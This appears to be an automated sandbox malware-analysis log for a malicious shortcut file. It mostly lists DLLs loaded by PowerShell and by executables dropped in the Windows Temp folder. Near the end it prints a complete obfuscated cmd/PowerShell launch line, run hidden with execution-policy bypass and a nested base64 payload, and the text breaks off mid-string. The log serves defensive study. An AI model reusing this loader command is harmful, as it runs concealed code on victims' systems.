Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wlidsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gamestreamingext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msauserext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: tbs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptngc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptnet.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elscore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elstrans.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: apphelp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: edgegdi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: icu.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: winhttp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: mswsock.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: wshunix.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: winrnr.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: nlaapi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: napinsp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: wshbth.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: devobj.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: winnsi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: sspicli.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: schannel.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: msasn1.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: apphelp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: version.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: edgegdi.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: icu.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: winhttp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: mswsock.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: wshunix.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: winrnr.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: nlaapi.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: wshbth.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: devobj.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: napinsp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: winsta.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: userenv.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: profapi.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: sspicli.dll
Source: C:\Windows\regedit.exe	Section loaded: authz.dll
Source: C:\Windows\regedit.exe	Section loaded: aclui.dll
Source: C:\Windows\regedit.exe	Section loaded: ulib.dll
Source: C:\Windows\regedit.exe	Section loaded: clb.dll

Source: C:\Windows\System32\systeminfo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\systeminfo.exe "C:\Windows\system32\systeminfo.exe"

Source: 3y37oMIUy6.lnk

LNK file: ..\..\..\Windows\system32\cmd.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

Directory created: C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Source:	Binary string: MD5tem.pdbpdbtem.pdb+ source: powershell.exe, 0000000C.00000002.4857638281.000001DDEF026000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ib.pdb source: powershell.exe, 00000008.00000002.4008138579.00000200F0E27000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \mncryptsslp.dll.pdb source: powershell.exe, 0000000C.00000002.4857638281.000001DDEF026000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String("SGR5YVhSbExXaHZjM1FnSW5ObGJtUWdiRzluSWpzTkNpQWdJQ0FnSUNCSVdrOVFXRXRhVVZWVU93MEtJQ0FnSUNBZ0lIZHlhWFJsTFdodmMzUWdJbU5zWldGeUlHeHZaeUk3RFFvZ0lDQWdJQ0FnSkdkc2IySmhiRHBTVDAxVVMweEtWa05NSU

PowerShell case anomaly found

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /v /k "PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="" && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgB